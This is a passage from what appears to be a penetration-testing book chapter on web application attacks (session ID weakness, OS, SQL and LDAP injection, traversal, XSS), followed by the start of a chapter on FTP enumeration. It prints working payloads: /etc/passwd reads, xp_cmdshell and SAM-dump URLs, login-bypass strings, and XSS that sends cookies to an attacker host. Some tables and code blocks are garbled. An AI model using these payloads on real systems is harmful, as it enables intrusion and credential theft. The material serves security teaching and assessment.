Web application developers sometimes write their own session management routines instead of using the inbuilt functions available within technologies including the Microsoft .NET Framework, PHP, and J2EE. I have seen session ID values generated in a static fashion by simply hashing, obfuscating, or sometimes concatenating a handful of user details.

Upon compromising a valid session ID (through compromising the session ID generation process or compromising the session ID itself through sniffing or XSS), an attack proxy or browser extension can be used to inject the new session ID value, thereby providing access.

Tools used to perform session ID injection are as follows:

Paros (http://www.parosproxy.org)
Fiddler (http://www.fiddlertool.com)
Tamper Data (http://tamperdata.mozdev.org)
The most common issues when dealing with custom-written session management routines are as follows:

- Weak session ID generation (through obfuscation of known variables such as username, or lack of a salt when performing cryptographic hashing)
- Session fixation, where a new session ID is not reissued upon login
- Insufficient timeout and expiration mechanisms, leading to brute-force and replay attacks

**Weak session ID generation.** By accessing a web application with a homegrown session ID generation mechanism, you can harvest a number of session ID values, as shown:

```
1243011163252007028
1243111163252007138
1243211163252007247
1243311163252007435
1243411163252007544
1243511163252007653
1243611163252007763
1243711163252007872
1243811163252007982
1243911163252008091
```

It is clear from this pattern that the session ID generation mechanism is extremely weak. There doesn’t appear to be any cryptographic hashing, and two parts of the session ID value, totaling six integers, are incrementing. If the server does not correctly maintain session state or care about the source IP address of each user, you could launch a brute-force session ID grinding attack to compromise other user sessions.

Often enough, however, reverse engineering and deeper analysis of session ID values are required. Session IDs are often a cryptographic hash or digest of many fields (like the username and server data), and they are sometimes encoded using mechanisms such as base64.

As an example, the web application may take the following fields (server IP address, username, and time) to turn it into a session ID:

```
192.168.100.1:chris:16:40
```

Here is the 25-character string represented in hex, base64, and as SHA1, MD5, and DES cryptographic digests (using [http://www.yellowpipe.com/yis/tools/encrypter/index.php](http://www.yellowpipe.com/yis/tools/encrypter/index.php)):

```
Hex     3139322e3136382e313032e313a63687269733a31363a3430
Base64  MTkyLjEzOC4xMDAuMTpjaHJpczoxNjo0MA==
SHA1    cc4a5b1b666b1fabe07b24f126f333761129cd
MD5     6ab291b23a98d4644de9cc6aa838651
DES     CRHf7c17WlpQs
```
Knowledge of these formats is useful when analyzing and attacking session ID values. If the string does not appear to be cryptographically hashed using SHA1, MD5, or DES, then it is most probably just obfuscated and encoded using a weaker session generation technique.

**Session fixation.** If a new session ID is not reissued upon login, an attacker could perform a session fixation attack by forcing another user to use a known session ID value when logging in, allowing the attacker to compromise the session (Figure 7-6 demonstrates this).

![Diagram](http://online.worldbank.com/login.jsp?sessionid=1234)

**Figure 7-6. An attacker exploits a session fixation bug**

1. The attacker logs into the web application.
2. The web application allocates session ID 1234 to the attacker.
3. The attacker uses social engineering via email or cross-site scripting to send a link to the application with the attacker session ID value.
4. The user accesses the web application using the attacker’s session ID value.
5. The user authenticates and logs into the web application.
6. The attacker accesses the user data and content within the web application by using the same session ID.

There is not only a fixation issue at play here. The web application also allows concurrent logins by two separate users and does not verify or check the source IP address of the client.

Insufficient timeout and expiration mechanisms. To prevent a number of attacks from being successful, it is important to enforce a session timeout and cookie expiration policy. Sites that do not enforce this are vulnerable to determined attackers who can reuse old cookies and session ID values or compromise them by launching brute-force session ID grinding attacks. It is also important for web applications to correctly expire sessions and log users out in a timely fashion.

Parameter Modification

The web client often sends a lot of data to the remote web server across HTTP, XML, and RPC over HTTP mechanisms when interacting with a web application. It is possible to exploit weaknesses in web applications by sending malformed data to the web application, causing abnormal behavior (such as creating an exception, throwing an error message, performing unexpected filesystem access, or running commands server-side).

In this section, I discuss the following elements to parameter modification:

- Command injection (OS, SQL, and LDAP command injection)
- Filesystem access (directory traversal and reading arbitrary files)
- Cross-site scripting (XSS)

Command injection

Poorly written web applications allow attackers to perform command injection either by using escape characters to run an additional command or by using other shell metacharacters to influence and change the way that a given command is run (such as modifying the recipient email address for a bulk email program).

Generally within web application security, the following types of commands can be run through vulnerable web applications: OS commands, SQL statements, and LDAP statements, as discussed here.

OS command injection. In some cases, you can execute operating system commands through an insecure web application. Commonly, these commands can be defined through HTML form fields, URL parameters, or even cookies. The commands will typically execute with the same privileges as the application component or web service.

System commands are a very convenient feature within web application programming. With little effort, it is possible to add file handling, email access, and other functionality to a web environment.

Before attempting to undertake operating system command-injection attacks, it is imperative that you know the underlying operating platform (Unix-based or Windows) so that you can determine which commands and techniques to use to compromise the system.
Depending on the programming language used and the underlying operating system, an attacker can perform the following actions through command injection:

- Run arbitrary system commands
- Modify parameters passed to system commands by the web application
- Execute additional commands

**Run arbitrary system commands.** Often, escape characters allow an attacker to gain access to the underlying operating system. Here is an example of the dated PHF exploit string:

```
http://www.example.org/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
```

The PHF script is simply a Unix shell script for looking up phonebook entries. In this case, I provide the argument `Qalias=x%0a/bin/cat%20/etc/passwd` to the PHF script. `%0a` is a hex-encoded line-feed value that simply allows for execution of the `/bin/cat /etc/passwd` command (`%20` is a hex-encoded blank space) by the underlying operating system.

The following example URL strings will result in OS command injection if there is insufficient input validation under Unix-based and Windows platforms:

```
http://www.example.org/cgi-bin/userData.pl?doc=/bin/ls
http://www.example.org/cgi-bin/userData.pl?doc=Doc1.pdf+|+Dir%20c:\
```

**Modify parameters passed to system commands.** Many sites have email scripts that are used to mail users with feedback or comments through a relevant web server form. Often, the underlying Perl code running on a Unix platform looks something like this:

```
system("/usr/bin/sendmail -t %s < %s","mailto_address","input_file");
```
A `system()` call is used to run Sendmail with certain arguments to email comments and feedback to the administrator. The accompanying HTML code that is presented to users when they visit the web site and fill out the feedback form will look something like this:

```
<form action="/cgi-bin/mail" method="post" name="emailform">
  <INPUT TYPE="hidden" NAME="mailto" VALUE="webmaster@example.org">
</form>
```

An attacker can compromise the server `/etc/passwd` file by modifying the `mailto` value:

```
<form action="/cgi-bin/mail" method="post" name="emailform">
  <INPUT TYPE="hidden" NAME="mailto" VALUE="chris.mcnab@trustmatta.com">
  <INPUT TYPE="hidden" NAME="mailto" VALUE="/etc/passwd">
</form>
```

In this case, I use the shell redirect character (`<`) to read the `/etc/passwd` file and mail it to me when Sendmail is run server-side. A form field manipulation exposure also exists in this case because I can spam email through this feedback form to arbitrary addresses.
Execute additional commands. Two Unix shell escape characters that can execute additional commands through a poorly written web application are the pipe character (|) and the semicolon (;). It may be the case that an attacker can’t manipulate arguments, but by using a semicolon or pipe character, the attacker can often execute arbitrary commands afterward.

The Sendmail `system()` command manipulation example was exploited using a redirect to pipe the contents of the `/etc/passwd` file into an email:

```html
<form action="/cgi-bin/mail" method="get" name="emailform">
  <INPUT TYPE="hidden" NAME="mailto" VALUE="chris.mcnab@trustmatta.com
  < /etc/passwd">
</form>
```

If the script isn’t vulnerable to this attack (through proper checking of the `mailto` address), an attacker could append a command in the following manner:

```html
<form action="/cgi-bin/mail" method="get" name="emailform">
  <INPUT TYPE="hidden" NAME="mailto" VALUE="webmaster@example.org; mail
  chris.mcnab@trustmatta.com < /etc/passwd">
</form>
```

SQL injection. SQL injection is a technique in which an attacker modifies a string that he knows will be processed by a backend SQL server to form a SQL statement. SQL strings (such as `'; --`) allow for arbitrary SQL commands to be run on the backend SQL server. In much the same way attackers use shell escape and redirection character strings to perform operating system command injection, they can also use SQL strings to compromise sensitive data and run system commands, depending on the database server software in use.

Web applications using backend SQL databases can be exploited in several ways. The three main types of attack involve:

- Bypassing authentication mechanisms
- Calling stored procedures
- Compromising data using `SELECT` and `INSERT`

It is difficult to test for SQL injection vulnerabilities using automated tools from the outside. To fully assess an environment for SQL injection problems, a code review of the underlying web application is required.

SQL injection is difficult to undertake because it relies on an understanding of both SQL and web application development. The best web application security analysts I know have a strong enterprise web development background with practical knowledge of scripting languages, such as ASP, and an understanding of SQL databases and their respective command syntax.

Microsoft SQL injection testing methodology. A simple way to test Microsoft IIS ASP scripts using backend Microsoft SQL databases (such as SQL Server 2000) is to modify URL and form values to include SQL escape sequences and commands. Suppose
that the ASP script you want to test takes the following input when you browse the site:

/store/checkout.asp?StoreID=124&ProductID=12984

Modify both StoreID and ProductID values to contain a SQL escape sequence along with an OR command (‘%20OR’), as follows:

/store/checkout.asp?StoreID=%20OR&ProductID=12984
/store/checkout.asp?StoreID=124&ProductID=%20OR

SQL injection is possible if an ODBC error is presented, as follows:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server] Unclosed quotation mark before the character string ' OR'.

/show/checkout.asp, line 14

Microsoft IIS and SQL Server environments are relatively straightforward to test in this fashion; simply replace all URL and form arguments with '%20OR SQL escape and command sequences, and look for raw ODBC error messages to be returned.

In polished enterprise web environments, ODBC error messages are often not returned; instead, custom 404 or 302 HTTP page redirects bring you back to the home page of the site in a fail-safe manner. Some web applications will fall over and display a 500 internal server error message, which probably means that injection is occurring.

If a detailed error message is not returned, SQL injection must be performed in a blind fashion. You can use inference to deduce whether SQL injection is occurring on the backend database server. Inference is an advanced technique involving a number of different approaches.

Data mining through SQL injection and inference is documented in the following papers online:

http://www.owasp.org/index.php/Testing_for_SQL_Injection

If the target web server is running Microsoft IIS, it’s highly probable that a backend Microsoft SQL Server is in use. If this is the case, it’s a good idea to start by calling stored procedures when checking for SQL injection issues.

**Microsoft stored procedures.** Calling stored procedures is often the most damning type of attack that can be launched through SQL injection. A default installation of Microsoft SQL Server has over 1,000 stored procedures. If you can get SQL injection working on a web application that uses Microsoft SQL Server as its backend, you can use these stored procedures to compromise the server, depending on permissions.
The first thing you should note regarding stored procedure injection is that there is a good chance there won’t be any output. The database server is often a different machine, segmented from the frontend presentation tier, so the commands you run by calling stored procedures are executed on the backend database server.

The following useful stored procedures are found in Microsoft SQL Server:

- `xp_cmdshell`
- `sp_makewebtask`
- `xp_regread`

**xp_cmdshell.** You can issue any DOS command through `xp_cmdshell`, including directory listings, Windows `net view` and `net use` commands, and outbound TFTP file transfers. The transact SQL syntax of the `xp_cmdshell` procedure is as follows:

```
EXEC master..xp.cmdshell "<command>"--
```

If I take an ASP script that I know is querying a backend Microsoft SQL database server, I can append a single quote and call the `xp_cmdshell` stored procedure in the following way:

```
/price.asp?ProductID=12984';EXEC master..xp_cmdshell"ping.exe%20'212.123.86.4'"--
```

To satisfy syntax requirements in more quoted vulnerability cases, a valid `ProductID` argument is supplied (12984), followed by a single-quote (’), the SQL stored procedure call, and no quote to close the query. The %20 values are hex-encoded blank spaces, which are decoded by the web server. You can also try double quotes between `xp_cmdshell` and `ping.exe` (mileage varies).

Through `xp_cmdshell` I issue a ping 212.123.86.4 command. Using outbound ping in this fashion, I can determine if SQL injection and stored procedure calling is actually working because I can monitor traffic into my token 212.123.86.4 host for ICMP traffic from the target network. As noted previously, these commands are often run on backend SQL servers that aren’t directly accessible from the Internet, so a degree of imagination is required.

**sp_makewebtask.** With the `sp_makewebtask` procedure you can dump results of SQL `SELECT` commands to HTML files in tabular form, thus recreating specific areas of databases within HTML. The syntax of the `sp_makewebtask` procedure is as follows:

```
EXEC master..sp_makewebtask "\<IP address\\\server\\\folder\\\out.html" ,"<query>"--
```

As you can see, its arguments are an output file location and a SQL statement. The `sp_makewebtask` procedure takes a SQL query and creates a web page containing its output. You can use a UNC pathname as an output location to deposit the resulting HTML file on any system connected to the Internet with a publicly writable NetBIOS share.
The query argument can be any valid Transact-SQL statement, including execution of other stored procedures. For example, I construct an `sp_makewebtask` command as follows:

```
/price.asp?ProductID=12984';EXEC master..sp_makewebtask "\212.123.86.4\pub\net.html","EXEC master..xp_cmdshell\20'net\20users'"--
```

The `net users` command runs server-side and an HTML file is created within a publicly accessible share containing the server name and details of user accounts. If this command doesn’t run, try removing the last double quote or using a plus (+) instead of a hex-encoded space (%20) to represent blank spaces.

You need to understand Transact-SQL to use the `sp_makewebtask` procedure in complex environments because crafted `SELECT *` commands should be issued to dump specific database tables (such as customer name, address, credit card number, and expiry date tables within a backend database).

**xp_regread.** The `xp_regread` procedure allows you to dump registry keys from the database server to obtain encrypted password strings for software such as VNC or the Windows SAM database (if SYSKEY encryption isn’t in use). To dump the SAM from the registry, issue the following command:

```
EXEC xp_regread 'HKLM','SECURITY\SAM\Domains\Account','c:\temp\out.txt'--
```

The contents of the `HKLM\SECURITY\SAM\Domains\Account` key are dumped to `c:\temp\out.txt`, which is then transferred out of the environment using TFTP, NetBIOS, or a similar mechanism.

To issue this command through a web browser to a vulnerable ASP script, I use the following URL:

```
/price.asp?ProductID=12984';EXEC xp_regread\20'HKLM','SECURITY\SAM\Domains\Account','c:\temp\out.txt'--
```

Placement of the final quotation mark may or may not be useful, depending on the ASP script and the way it constructs its Transact-SQL statement.

**Bypassing authentication mechanisms.** If a SQL injection vulnerability exists in an authentication script (such as `login.asp`), it could be used to bypass the authentication mechanism. This is traditionally undertaken using any of the following SQL strings in place of the username:

```
' OR 1=1--
" OR 1=1--
OR 1=1--
' OR 'a'='a
" OR "a"="a
( OR (a=a
```
These strings, when injected into a SQL statement used for authentication, cause the authentication mechanism to fail open. The web request would look something like this:

http://www.example.org/login.asp?user='+OR+1=1--&pass=password

On the server side, this will create the following SQL statement, which will fail open, providing access:

```sql
SELECT * FROM users
WHERE username = '' OR 1=1
-- AND password = 'anything'
```

**Compromising data using SELECT, INSERT, and UPDATE**

Non-Microsoft database servers (such as DB2, PostgreSQL, Oracle, and MySQL) don’t have as many default or easy-to-use stored procedures, so without the luxury of stored procedures that give operating system access, traditional SQL queries such as SELECT, INSERT, and UPDATE must be issued to read and modify database fields and tables.

**SELECT.** To retrieve the first login_name value from the admin_login table, use a statement like this:

http://www.example.org/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

The following output is produced:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'chris' to a column of data type int.
/index.asp, line 5

We now know there is a user with the login name chris. To retrieve the user password from the database, use the following statement:

http://www.example.org/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
where login_name='neo'--

The following output will result:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'pa55word' to a column of data type int.
/index.asp, line 5

**INSERT and UPDATE.** It is possible to use the UPDATE directive to change the password chris to s3cret, as follows:

http://www.example.org/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 's3cret' WHERE login_name='chris'--
It is also possible to use INSERT to add an entirely new user (mickey, with the password mouse) to the database:

```
http://www.example.org/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'mickey','m0use','NA')--
```

Obviously, knowledge of the backend database structure is necessary for understanding the table and column names and formats. The most thorough way to assess web applications and backend configuration is to perform remote black-box testing and local onsite testing and code review. This will help you to completely understand the web application and its weaknesses so that you may present meaningful and effective remediation advice.

**Advanced SQL injection reading**

The following papers and presentations have a lot of useful information and SQL injection examples:

- [Advanced_SQL_Injection.ppt](http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt)
- [5DP0N1P76E.html](http://www.securiteam.com/securityreviews/5DP0N1P76E.html)
- [development/sql.shtml](http://www.cgisecurity.com/development/sql.shtml)

**LDAP injection**

In LDAP injection, an attacker modifies a string that he knows will be processed by a backend LDAP server to form an LDAP statement. In much the same way that attackers use SQL escape characters to execute arbitrary SQL statements server-side, they can also use LDAP characters (\(\) | (*)) to modify and create LDAP statements.

Web applications using backend LDAP servers can be exploited in several ways. The three main types of attack involve:

- Bypassing LDAP-based authentication mechanisms
- Reading data from the LDAP directory
- Modifying data within the LDAP directory

**LDAP authentication bypass.** In the same way that it is possible to bypass authentication mechanisms using backend SQL, LDAP injection can also be used to bypass authentication. Suppose a web application uses the following LDAP statement to match a user and password pair and authenticate a user:

```
searchlogin="(&\(uid=+users\))(userPassword=\{MD5\}+base64(pack("H\^",md5(pass)))\+")";
```

You could use the following username and password values when authenticating:

```
username=*)(uid=*))(|(uid=*
password=password
```
This would result in the following LDAP statement:

\[
\text{searchlogin} = \{\&(uid=*)(uid=*)(|(|uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))\};
\]

This statement is always true, and so authentication is successful. Often, simply using a username of asterisk (*) will also bypass LDAP authentication mechanisms, as follows:

\[
\text{searchlogin} = \{\&(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==)\};
\]

**Reading LDAP data.** Upon achieving LDAP injection, you can use the following LDAP request strings to read data from the LDAP directory, depending on configuration and how verbose the web application is:

\[
* \\
)\(|(cn=*) \\
)\('|(objectclass=* \\
)\('|(homedirectory=*)
\]

An excellent online paper with numerous examples of LDAP data exposure is available online at [http://www.spidynamics.com/whitepapers/LDAPinjection.pdf](http://www.spidynamics.com/whitepapers/LDAPinjection.pdf).

**Command injection countermeasures**

Using the following strategies, you can negate or reduce exploitation and the impact of OS command injection issues, along with SQL and LDAP statement injection:

- Input validation, filtering unnecessary and suspicious character strings
- Low-level hardening, ensuring that unnecessary stored procedures and features are not enabled

Tables 7-6, 7-7, and 7-8 list dangerous character strings that are used within OS, SQL, and LDAP injection attacks. It is imperative that these strings be filtered, along with obfuscated and encoded versions of them to prevent attacks from being effective.

*Table 7-6. OS command injection characters*

<table>
<thead>
<tr>
<th>String</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;</td>
<td>Redirect</td>
<td>Pushes data into a command argument</td>
</tr>
<tr>
<td>&gt;</td>
<td>Redirect</td>
<td>Takes data from a running process</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Pipe</td>
</tr>
<tr>
<td>;</td>
<td>Semicolon</td>
<td>Runs a second command</td>
</tr>
<tr>
<td>%0A</td>
<td>Hex-encoded line-feed</td>
<td>Runs a new command</td>
</tr>
<tr>
<td>%0D</td>
<td>Hex-encoded carriage return</td>
<td>Runs a new command</td>
</tr>
</tbody>
</table>
Filesystem access

Often, simple server-side scripts will access local files instead of using a database. The filenames are sometimes defined in hidden HTML form fields, which are passed to the scripts or are provided as direct arguments to the script in the URL of the page.

If an attacker can modify or set the filename variable, he could attempt to perform a number of attacks, including:

- Directory traversal through `dot-dot-slash` and other character sequences
- Local folder access (reading a configuration file or script source code without traversing)
- OS command injection (assuming the filename forms part of an OS command)

<table>
<thead>
<tr>
<th>String(s)</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td>Single quote</td>
<td>SQL escape character, used to escape strings, variables, and statements</td>
</tr>
<tr>
<td>&quot;</td>
<td>Double quote</td>
<td>SQL escape character, used to escape strings, variables, and statements</td>
</tr>
<tr>
<td>;</td>
<td>Semicolon</td>
<td>Runs a new SQL statement</td>
</tr>
<tr>
<td>--</td>
<td>Single-line comment indicator</td>
<td>Nullifies SQL statement data after the comment marker</td>
</tr>
<tr>
<td>#</td>
<td>Single-line comment indicator</td>
<td>Nullifies SQL statement data after the comment marker</td>
</tr>
<tr>
<td>/* */</td>
<td>Multiple-line comment markers</td>
<td>Nullifies all the SQL statements between the two markers</td>
</tr>
<tr>
<td>*</td>
<td>Asterisk</td>
<td>SQL statement wildcard character</td>
</tr>
<tr>
<td>%</td>
<td>Percentage sign</td>
<td>SQL statement wildcard character</td>
</tr>
<tr>
<td>+</td>
<td>Plus sign</td>
<td>Used to concatenate strings</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Double pipe</td>
</tr>
<tr>
<td>@</td>
<td>At symbol</td>
<td>Used to print local variables</td>
</tr>
<tr>
<td>@@</td>
<td>Double at symbol</td>
<td>Used to print global variables</td>
</tr>
<tr>
<td>waitfor</td>
<td>Waitfor command</td>
<td>Used during inference to read values from the database using a timing attack</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>String</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>(</td>
<td>Open bracket</td>
<td>Opens a new LDAP query string</td>
</tr>
<tr>
<td>)</td>
<td>Close bracket</td>
<td>Closes an LDAP query string</td>
</tr>
<tr>
<td>&amp;</td>
<td>Ampersand</td>
<td>AND Boolean operation</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Pipe</td>
</tr>
<tr>
<td>=</td>
<td>Equals sign</td>
<td>EQUALS Boolean operation</td>
</tr>
<tr>
<td>*</td>
<td>Asterisk</td>
<td>LDAP statement wildcard value</td>
</tr>
</tbody>
</table>
Sometimes web application components and scripts have undocumented input variables that can be used to read server-side files. I have assembled a short list of input variables that should be used against all accessible web scripts to test for undocumented filesystem access vectors:

?data=filename
?document=filename
?f=filename
?f=filename
?image=filename
?index=filename
?load=filename
?page=filename
?filename

Upon identifying a web application script that seems to parse filenames provided by the client, you could attempt to access server-side files through directory traversal and modification of the filename string, using Unix-based directory traversal strings (i.e., ../../../../../etc/inetd.conf) or Windows directory traversal strings (i.e., ..\..\windows\system.ini). Sometimes, however, directory traversal outside of the web root is not possible, so sensitive files inside of the web root, such as JSP source code, or configuration files, should be compromised.

**Cross-site scripting**

Cross-site scripting (XSS) vulnerabilities exist when a web application or server mechanism simply replays HTML client-side scripting (usually JavaScript). Later, when another user such as an administrator logs into the web application, the server may present malicious JavaScript when the user accesses a certain page; this could allow an attacker to compromise the administrator user session ID cookie and gain administrative access.

The attack process would be as follows:

1. The attacker identifies an XSS vulnerability in the web application, where the user email address field is susceptible to XSS.
2. The attacker changes his email address in the application, inserting the following malicious JavaScript to send the cookie to his web server in a request to http://attacker/hi.jpg:

   ```html
   <script>document.location="http://attacker/hi.jpg?"+document.cookie</script>
   ```

3. Later, the administrator logs in and reviews the Manage Users page.
4. Through viewing this page and parsing the attacker’s malicious JavaScript, the administrator cookie and session ID is compromised.

This is a practical example of a dangerous persistent XSS attack. Most XSS vectors and fields do not persistently store malicious JavaScript (which means that the JavaScript is not presented to other users), and have a much lesser impact. When
searching for XSS weaknesses, you should be far more interested in vectors that allow persistent storage of your malicious JavaScript.

Six useful XSS attack test strings that work with most browsers (including Microsoft Internet Explorer 7.0 and Mozilla Firefox 2.0) are as follows:

```html
<script>alert("XSS");</script>
<script src="http://ha.ckers.org/xss.js"></script>
</title><script>alert("XSS");</script>
<body onload>alert('XSS')</body>
<iframe src="javascript:alert('XSS');"></iframe>
</html>
</applet>
</body>
</embed>
</frame>
</frameset>
<html>
<iframe>
<img>
<layer>
<ilayer>
<meta>
<object>
<script>
<style>

A comprehensive list of XSS attack strings and some very useful tools for obfuscating XSS attacks are available from RSnake’s page at http://ha.ckers.org/xss.html. All HTML tags should be considered dangerous, but the following are the most insidious:

```html
<br>
<body>
<embed>
<frame>
<frameset>
<html>
<iframe>
<img>
<layer>
<ilayer>
<meta>
<object>
<script>
<style>
</style>
</script>
</object>
</meta>
</layer>
</ilayer>
<html>
<iframe>
<img>
<layer>
<ilayer>
<meta>
<object>
<script>
<style>

Once you have triggered XSS, you can use this JavaScript to compromise cookie values:

```javascript
document.write("<img src=http://attacker/img.jpg"+document.cookie>
location.href="http://attacker/page?"+document.cookie

Cookie stealing via XSS is becoming extinct, primarily because of browser security improvements (most cookie-stealing attacks no longer work against Internet Explorer, Firefox, or other current browsers unless the attacker’s web site is in the same domain as the vulnerable server), and so I won’t spend too much time discussing it here.

Outside of stealing cookies, useful applications of XSS include port scanning and other attacks; you are only limited by the scripting language (JavaScript, VBScript, Macromedia Flash, or others), as long as it is supported by the target user browser.
Three useful JavaScript applications that can be delivered through persistent XSS are as follows:

- XSS-Proxy (http://xss-proxy.sourceforge.net)
- BeEF (http://www.bindshell.net/tools/beef/)
- XSS Shell (http://www.portcullis-security.com/16.php)

BeEF and XSS Shell are very powerful, allowing you to control a given end user system by executing malicious JavaScript via XSS. Even if the user browses to another page, it is still within control of the XSS Shell instance and can be monitored and keylogged effectively. The GNUCITIZEN page (http://www.gnucitizen.org) also contains interesting and useful XSS attack code, including a JavaScript port scanner.

As discussed in Chapter 6, good background information relating to XSS attacks can be found at the following locations:

http://www.owasp.org/index.php/Cross_Site_Scripting
http://www.cert.org/archive/pdf/cross_site_scripting.pdf
http://en.wikipedia.org/wiki/Cross-site_scripting

**Web Security Checklist**

The following countermeasures should be considered when hardening web services:

- You should ensure that all Internet-based server software and components (including web application middleware servers and backend database servers) have up-to-date patches and are configured to prevent known public exploits and attack techniques from being successful.
- Ensure that web applications perform input validation checking of all client-provided variables, to strip dangerous characters (including ‘ ; - | ) ( and other directives, HTML tags, and malicious JavaScript strings). Web application firewall components, including mod_security and Microsoft URLScan, are useful but should not be relied upon.
- Homemade session management mechanisms are often full of vulnerabilities and issues. Use standard session management mechanisms available within Microsoft .NET Framework, J2EE, and PHP, along with sound session timeout and cookie expiration policies to ensure resilience from brute-force session ID grinding attacks.
- If you don’t use scripting languages (including PHP and JSP) in your web environment, ensure that associated Apache components such as mod_jk and PHP are disabled. Increasingly, vulnerabilities in these subsystems are being identified as attackers find fewer bugs in core server software.
• Prevent indexing of accessible directories if no index files are present (e.g., `default.asp, index.htm, index.html`, etc.) to prevent web crawlers and opportunistic attackers from compromising sensitive information.

• Don’t expose debugging information to public web users if a crash or application exception occurs within any of the three web application tiers (web server, application server, or database server).

• If backend databases are in use, ensure that the SQL user accounts used by web application components have limited access to potentially damaging stored procedures, and have decent permissions relating to reading and writing of fields and tables from the database and the server itself.
This chapter covers the assessment of remote maintenance services that provide direct access to servers and devices for administrative purposes. Common remote maintenance services include FTP, SSH, Telnet, X Windows, VNC, Citrix, and Microsoft Terminal Services. Determined attackers often target remote maintenance services, as they provide direct access to the target host.

Remote Maintenance Services

Services used by network administrators to directly manage remote hosts over TCP/IP (e.g., SSH, Telnet, VNC, and others) are threatened by three categories of attack:

- Information leak attacks, from which user and system details are extracted
- Brute-force guessing of user passwords to gain direct system access
- Process manipulation attacks (buffer overflows, format string bugs, etc.)

An online bank may be running the Telnet service on its Internet routers for administrative purposes. This service may not be vulnerable to information leak or process manipulation attacks, but a determined attacker can launch a brute-force attack against the service to gain access. Brute force is an increasingly popular attack vector for attackers attempting to break moderately secure networks.

I have derived this list of common remote maintenance services from the /etc/services file:

<table>
<thead>
<tr>
<th>Service</th>
<th>Port</th>
</tr>
</thead>
<tbody>
<tr>
<td>ftp</td>
<td>21/tcp</td>
</tr>
<tr>
<td>ssh</td>
<td>22/tcp</td>
</tr>
<tr>
<td>telnet</td>
<td>23/tcp</td>
</tr>
<tr>
<td>exec</td>
<td>512/tcp</td>
</tr>
<tr>
<td>login</td>
<td>513/tcp</td>
</tr>
<tr>
<td>shell</td>
<td>514/tcp</td>
</tr>
<tr>
<td>x11</td>
<td>6000/tcp</td>
</tr>
<tr>
<td>citrix-ica</td>
<td>1494/tcp</td>
</tr>
<tr>
<td>citrix-ica-brws</td>
<td>1604/udp</td>
</tr>
<tr>
<td>ms-ica</td>
<td>3389/tcp</td>
</tr>
</tbody>
</table>
FTP

FTP services provide remote access to files, usually for maintenance of web servers and similar purposes. FTP services use the following two ports to function: TCP port 21, which is the inbound server control port that accepts and processes FTP commands from the client, and TCP port 20, which is the outbound data port used to send data from the server to the client. File transfers are orchestrated over the control port (21), where commands such as `PORT` are issued to initiate a data transfer using the outbound data port. RFC 959 describes and outlines FTP and its various modes and commands in detail.

FTP services are susceptible to the following classes of attack:

- Brute-force password grinding
- FTP bounce port scanning and exploit payload delivery
- Process manipulation, including overflow attacks involving malformed data

Older firewalls and proxy servers can also be abused if FTP services are accessible through them, by sending crafted `PORT` commands to provide access to other ports on the target server.

FTP Banner Grabbing and Enumeration

Upon finding a server running FTP, the first piece of information discovered by connecting to the service is the FTP server banner:

```bash
$ ftp 192.168.0.11
Connected to 192.168.0.11 (192.168.0.11).
220 darkside FTP server ready.
Name (192.168.0.11:root):
```

Here, the banner is that of a Solaris 9 server. Solaris 8 (also known as SunOS 5.8) and earlier return the operating system detail in a slightly different banner, as follows:

```bash
$ ftp 192.168.0.12
Connected to 192.168.0.12 (192.168.0.12).
220 lackie FTP server (SunOS 5.8) ready.
Name (192.168.0.12:root):
```
If the banner is obfuscated or modified to remove service version or operating system information, the service can sometimes be identified by analyzing responses to `quote help` and `syst` commands upon login, as shown in Example 8-1.

Example 8-1. Fingerprinting FTP services by issuing commands

```
$ ftp 192.168.0.250
Connected to 192.168.0.250 (192.168.0.250).
220 ftp.trustmatta.com FTP server ready.
Name (ftp.trustmatta.com:root): ftp
331 Guest login ok, send your complete e-mail address as password.
Password: hello@world.com
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote help
214-The following commands are recognized (* = s unimplemented).
   USER    PORT    STOR    MSAM*    RNTO    NLST    MKD    CDUP
   PASS    PASV    APPE    MRQ*     ABO R SITEM    XMKD    XCP
   ACCT*   TYPE    MLFL*   MRCP*    DELE    SYST    RMD    STOU
   SMNT*   STRU    MAIL*   MRCP*    DELE    SYST    RMD    STOU
   REIN*   MODE    MSND*   REST     XCD   HELP    PW D    MD
   QUIT    RETR    MSOM*   RNFR    LIST    NOOP    XPWD
214 Direct comments to ftpadmin@ftp.trustmatta.com
ftp> syst
215 UNIX Type: L8 Version: SUNOS
```

In this example, the FTP service type and version details aren’t revealed in the banner. However, by querying the server when logged in, I learn it is a Sun Microsystems FTP daemon. By performing IP fingerprinting of the port, I can probably ascertain which version of Solaris is running.

Analyzing FTP banners

To analyze FTP service banners you will grab when performing assessment exercises, use the banner list in Table 8-1.

Table 8-1. Common FTP banners and respective operating platforms

<table>
<thead>
<tr>
<th>Operating system</th>
<th>FTP banner</th>
</tr>
</thead>
<tbody>
<tr>
<td>Solaris 9 and later</td>
<td>220 hostname FTP server ready</td>
</tr>
<tr>
<td>Solaris 8</td>
<td>220 hostname FTP server (SunOS 5.8) ready</td>
</tr>
<tr>
<td>Solaris 7</td>
<td>220 hostname FTP server (SunOS 5.7) ready</td>
</tr>
<tr>
<td>SunOS 4.1.x</td>
<td>220 hostname FTP server (SunOS 4.1) ready</td>
</tr>
